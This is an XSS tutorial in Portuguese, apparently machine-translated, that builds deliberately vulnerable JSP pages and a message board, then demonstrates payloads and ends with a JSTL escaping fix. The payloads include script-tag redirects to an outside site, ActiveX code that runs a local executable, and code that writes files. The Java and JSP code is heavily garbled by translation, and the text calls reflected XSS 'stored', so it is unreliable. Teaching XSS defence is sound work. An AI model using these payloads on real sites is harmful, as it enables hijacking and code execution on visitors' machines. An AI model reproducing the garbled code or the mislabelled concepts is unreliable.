Prefácio
Olá a todos, um bom homem sou eu, eu sou um homem bom, eu sou -0nise. Nas principais plataformas de relatórios de vulnerabilidades, geralmente vemos vulnerabilidades XSS. Portanto, a questão é: por que esse tipo de vulnerabilidade ocorre? Como essa vulnerabilidade deve ser consertada?
texto
1.xss? XSS? O que diabos é XSS?
O XSS também é chamado de script de site cruzado. Não vou dizer a ele que foi originalmente chamado de CSS, mas para não se confundir com as folhas de estilo em cascata CSS que usamos. CSS (ataque de script cross-sites), o CSS (folha de estilo em cascata) é bobo e não pode dizer a diferença. Então é chamado de XSS.
2. Quais são os perigos do XSS?
Experiência 1:
0x00 Código de construção
<%@ página de página = "java" import = "java.util.*" PageEncoding = "utf-8"%> <%string path = request.getContextPath (); string basepath = request.getscheme ()+": //"+request.getSername ()+":"+request.g); "-// w3c // dtd html 4.01 transitório // pt"> <html> <ading> <base href = "<%= bashepath%>"> <title> meu jsp 'index.jsp' página de partida </title> <meta http-equiv = "Pragma" = "não-cache"> Content = "no-cache"> <meta http-equiv = "expira" content = "0"> <meta http-equiv = "palavras-chave" content = "Keyword1, palavra-chave2, palavra-chave3"> <meta http-equiv = "description" content = "this é minha página"> </<body> <bodystysty "<dttp-equiv =" descrição "" isto é minha página "> </<body> <bodysystysty" <dttp-seas request.setcharacterencoding ("utf-8"); // recebeu o usuário de entrada do usuário string tmp = request.getParameter ("OPR"); // O valor de entrada padrão está vazio se (tmp == null) {out.print ("111"); } else {// Transcoding String OPR = new String (tmp.getbytes ("ISO-8859-1"), "UTF-8"); out.print (OPR); } %> Estou contente </div> </body> </html>0x01 Layout do ambiente
0x02 broca de vulnerabilidade
Visitamos: http: // localhost: 8080/xss/index.jsp? OPR = I%E6%98%A5%E7%A7%8b
Em seguida, visite: http: // localhost: 8080/xss/index.jsp? OPR = 0nise
Finalmente descobrimos uma "grande lei":
Imprima qualquer página que o parâmetro OPR seja igual. (Parece absurdo)
Vamos carregar uma foto e ver
Visite: http: // localhost: 8080/xss/index.jsp? OPR =%3cimg%20src =%221.png%22%3e%3c/img%3e
Como todas as imagens podem ser carregadas, nossos arquivos JS também estão carregados?
Visita: http: // localhost: 8080/xss/index.jsp? OPR =%3cscript%3Ealert (/i%E6%98%A5%E7% A7%8B%E7%A4%é%E5%8C%BA%E6%CA%A2%E8%bf%8E%E5%A4%A7%E5%AE%B6/)%3C/Script%3E
JS? JS? Então é possível alterar o endereço após o salto?
Visite: http: // localhost: 8080/xss/index.jsp? OPR =%3cscript%3Elocation.href =%27http: //bbs.icunqiu.com%27%3c/script%3e
Como o XSS pode carregar JS, abrimos algumas coisas locais através do JS?
Coloque um arquivo md5.exe com antecedência
Visite: http: // localhost: 8080/xss/index.jsp? OPR = <cript> var objshell = new ActiveXObject ("wscript.shell"); objshell.run ("g: /work/xss/webroot/md5.exe"); </script>
Como mesmo os arquivos locais podem ser abertos, o arquivo remoto Trojan? Tem uma paródia de computador? Isso é lentamente quadrante. Eu não disse isso. . . . .
Todos os arquivos podem ser abertos, e então escrever alguns arquivos?
Visite: http: // localhost: 8080/xss/index.jsp? OPR =%3cscript%3evar%20fSO, tf; fso%20 =%20New%20ActivexObject (%22Scring.FilesystemObject%22; TF.WriteLine (%22i%E6%98%A5%E7%A7%8B%E7%A4%é%E5%8C%BA%E6%CA%A2%E8%bf%8e%E6%82%A8%22); (); alerta (%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3c/script%3e
Através das experiências acima, podemos ver a operação de atribuição de parâmetros OPR. Se o parâmetro OPR não tiver valor, ele não poderá ser executado. A pessoa atacada deve acessar o atacante projetado com antecedência antes de atacar. Este método de ataque XSS é chamado: Storage XSS
Se você quiser ver um experimento mais poderoso, continue lendo.
Experiência 2:
Prefácio:
A maioria dos sites lidará com dados. Então, como são esses sites quando as vulnerabilidades do XSS aparecem?
0x00 Código de construção
Parte do banco de dados
Basedao.java
importar java.sql.connection; importar java.sql.driverManager; importar java.sql.preparedStatement; importar java.sql.resultset; importar java.sql.sqLexception; importação java.Scountn.STATENEN; Public baseado em base {/nkl.sqLexception; o abeneamento; tente {Class.ForName ("com.microsoft.sqlserver.jdbc.sqlserverdriver"); Conn = DriverManager.getConnection ("JDBC: SQLSERVER: // localhost: 1433; DatabaseName = SQLTMP", "SA", "SA"); } catch (classNotFoundException e) {e.printStackTrace (); } catch (sqLexception e) {e.printStackTrace (); } retornar Conn; } // Método para fechar o link public void ClosetL (conexão Conn, Declaração Stat, ResultSet RS) {Try {if (rs! = Null) rs.close (); if (stat! = null) stat.close (); if (conn! = null) conn.close (); } catch (sqLexception e) {e.printStackTrace (); }} // sobrecarregar o método de fechamento public void closell (conexão Conn, preparado PSTATEM PSTAT, ResultSet rs) {try {if (rs! = Null) rs.close (); if (pstat! = null) pstat.close (); if (conn! = null) conn.close (); } catch (sqLexception e) {e.printStackTrace (); }} // Continue a sobrecarregar o divisor de void public (conexão conn, preparado estatamento pstat) {try {if (pstat! = Null) pstat.close (); if (conn! = null) conn.close (); } catch (sqLexception e) {e.printStackTrace (); }} // Método público para adicionar, excluir e modificar a atualização pública int (string sql, objeto [] Pram) {PreparedStatement Pstat = null; Conexão conn = null; int a = 0; tente {conn = getConn (); pstat = Conn.Preparestatement (SQL); // transfira através do conjunto de parâmetros e adicione a correspondência de parâmetro no conjunto à instrução SQL para (int i = 1; i <= Pram.Length; i ++) {pstat.setObject (i, Pram [i-1]); } // Método de chamada a = pstat.executeUpdate (); } catch (sqLexception e) {e.printStackTrace (); } finalmente {closell (Conn, pstat); } retornar um; }}Comentdao.java
importar java.sql.*; importar java.util.*; Importar entidade.*; classe pública comentando, estende baseado em base { /***, obtenha todas as mensagens** /public list <Am> getComment () {// sql string string sql = "selecione cid, cname, ccontext de comentários"; List <A comend> list = new ArrayList <A Comm> (); // conexão do banco de dados conexão conexão Conn = null; // Objeto de execução SQL Preparado PSTMT = NULL; // Execução do banco de dados Valor de retorno ResultSet RS = null; tente {// crie o link do banco de dados Conn = this.getConn (); // Crie objeto de execução SQL Pstmt = Conn.Preparestatement (SQL); // Executa o valor de retorno da instrução SQL rs = pstmt.executeQuery (); // leia while (rs.Next ()) {Comment = new Comm (); comentário.setCid (rs.getInt ("cid")); comentário.setcname (rs.getString ("cname")); comentário.setCContext (rs.getString ("ccontext")); list.add (comentário); }} catch (Exceção e) {e.printStackTrace (); } finalmente {// feche this.closeAll (Conn, pstmt, rs); } Lista de retorno; } public int addComment (comm comentário) {string sql = "inserir nos valores de comentários (?,?)"; // número de linhas afetadas int resultado = 0; // conexão do banco de dados conexão conexão Conn = null; // Objeto de execução SQL Preparado PSTMT = NULL; tente {// crie o link do banco de dados Conn = this.getConn (); // Crie objeto de execução SQL Pstmt = Conn.Preparestatement (SQL); // Defina os parâmetros pstmt.SetString (1, comentário.getCName ()); Pstmt.SetString (2, Comment.getCContext ()); // execute o resultado da instrução SQL = pstmt.executeUpdate (); } catch (Exceção e) {e.printStackTrace (); } finalmente {this.closeAll (Conn, pstmt); } resultado de retorno; }}ComentmentServLvet
importar java.io. request.setcharacterencoding ("UTF-8"); Response.setContentType ("Texto/html; charset = utf-8"); PrintWriter out = Response.getWriter (); String OPR = request.getParameter ("OPR"); Comentário comentário = new CommentDao (); // Recuperar se o parâmetro está vazio se (OPR == null || OPR.Equals ("All")) {request.SetAttribute ("All", ComementDao.getComment ()); // forward request.getRequestDispatcher ("comment.jsp"). Forward (solicitação, resposta); } else if (opr.equals ("add")) {comentário comentário = new comm (); comentário.setcname (request.getParameter ("uname")); comentário.setCContext (request.getParameter ("contexto")); if (commentDao.addComment (comentário)> 0) {out.print ("<Script> alert ('Deixe uma mensagem com sucesso'); location.href = 'CommentsServlvet? OPR = all'; </script>"); } else {out.print ("<Script> alert ('message falhou'); location.href = 'CommentServLvet? Opr = all'; </script>"); }} else {request.setAttribute ("all", comentário.getComment ()); // forward request.getRequestDispatcher ("comment.jsp"). Forward (solicitação, resposta); } out.flush (); out.Close (); } / ** * doPost () * / public void DoPost (solicitação httpServletRequest, httpServletResponse resposta) lança servletexception, ioexception {doget (solicitação, resposta); }}Comment.jsp
<%@ Page Language = "java" import = "java.util.*, entidade. Html public "-// w3c // dtd html 4.01 transitória // pt"> <html> <head> <base href = "<%= basepath%>"> <titter> meu jsp 'comentário.jsp' página </title> <meta http-best = "metagma" contention.jsp '" http-equiv = "cache-control" content = "no-cache"> <meta http-equiv = "expire" content = "0"> <meta http-equiv = "palavras-chave" content = "keyword1, palavra-chave 2, palavra-chave 3 <página <magy> <efnt) (" request.setcharacterencoding ("UTF-8"); if (request.getAttribute ("all") == null) {request.getRequestDispatcher ("ComentmentServLvet? OPR = all"). Forward (solicitação, resposta); } %> <table> < % list <entity.comm> list = (list <entity.comm>) request.getAttribute ("all"); para (int i = 0; i <list.size (); i ++) { %> <tr> <td> < %= list.get (i) .getcname () %> </td> <td> <%r = list.get (i) .getcContext () </td> </tr> < %} %> <texttarea linhas = "5" cols = "30" name = "context"> </sexttarea> apelido: <input type = "text" name = "uname"/> <input type = "submit" value = "submit"/> </form> </body> </html> 0x01 Experiência de vulnerabilidade
root@1~#
Deixamos uma mensagem no quadro de mensagens:
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
Em seguida, visite: http: // localhost: 8080/xss/comment.jsp
Dessa forma, desde que você acesse esta página, o software abrirá automaticamente e um arquivo remoto será criado? Entender lentamente.
root@2~#
Deixamos uma mensagem no quadro de mensagens:
Copie o código da seguinte forma: <Script> var fso, tf; fso = new ActiveXObject ("scripting.filesystemObject"); tf = fso.createTextFile ("d: //test.txt", true); tf.writeline ("i chunqiu welcomes (!);
Em seguida, visite: http: // localhost: 8080/xss/comment.jsp
A escrita de arquivos foi bem -sucedida.
root@3~#
Conteúdo da mensagem:
[Code] <Script> location.href = 'http: //bbs.icunqiu.com' </script> [código]
Visite Página: http: // localhost: 8080/xss/comment.jsp
Visitar a página de mensagem irá automaticamente no site específico do atacante. Este é o seqüestro lendário?
Solução de defesa 3.xss
Como diz o ditado, onde quer que haja ataque, há defesa. Como o XSS, existem métodos de ataque e soluções de defesa.
El Expression + JSTL Tag Library
EL (linguagem de expressão): [tamanho = 12.0000pt] para facilitar a redação do JSP. A linguagem de expressão é inspirada na linguagem ECMAScript e XPath Expression. Ele fornece métodos para simplificar expressões no JSP para tornar o código JSP mais simples.
JSTL (Biblioteca de tags padrão JSP): Biblioteca de tags JSP de código aberto.
Experiência 1 Código de Defesa:
<%@ Page Language = "java" import = "java.util. request.getscheme ()+": //"+request.getServername ()+":"+request.getServerport ()+path+"/";%> <! Doctype html public "-// w3c // dtd html 4.01 transitional // en en non 'Index.jsp' página de partida </itit> <meta http-equiv = "Pragma" content = "no-cache"> <meta http-equiv = "cache-control" content = "no-cache"> <meta http-mequiv = "expires" content = "0"> <meta http-alpela <meta http-equiv = "description" content = "Esta é a minha página"> </head> <body> <div style = "margem: 0 auto"> <% request.SetcharAcTerEncoding ("UTF-8"); String tmp = request.getParameter ("OPR"); // se o valor recebido está vazio se (tmp == null) {out.print ("111"); } else {// Transcoding String OPR = new String (tmp.getbytes ("ISO-8859-1"), "UTF-8"); request.setAttribute ("nome", OPR); %> <c: out value = "$ {requestscope.name}"> </c: out> < %} %> eu sou conteúdo </div> </body> </html>Experiência 2 Código de defesa:
<%@ Page Language = "java" import = "java.util.*, entidade. request.getscheme ()+": //"+request.getServername ()+":"+request.getServerport ()+path+"/";%>
<! Doctype html public "-// w3c // dtd html 4.01 transitória // pt"> <html> <head> <base href = "<%= basepath%>"> <titter> meu jsp 'comentário.jsp' página </title> <meta http-mequiv = " http-equiv = "cache-control" content = "no-cache"> <meta http-equiv = "expire" content = "0"> <meta http-equiv = "palavras-chave" content = "keyword1, palavra-chave 2, palavra-chave 3 <página <magy> <efnt) (" request.setcharacterencoding ("UTF-8"); if (request.getAttribute ("all") == null) {request.getRequestDispatcher ("ComentmentServLvet? OPR = all"). Forward (solicitação, resposta); } %> <tabela> <!-Solução XSS de defesa-> <c: foreach var = "x" itens = "$ {requestscope.all}"> <tr> <td> <c: out value = "$ {x.getcname ()}"> </c: out> </td> <txt> <c: out) </td> </td> </tr> </c: foreach> </ table> <formulário action = "CommentsServLvet? Opr = add" method = "post"> <texttarea lobs = "5" cols = "30" name = "context"> </textarea> apelido: <but type = "text" name = "" "" "/" </body> </html> Conclusão
A tecnologia não é preta e branca e a especialização é muito boa.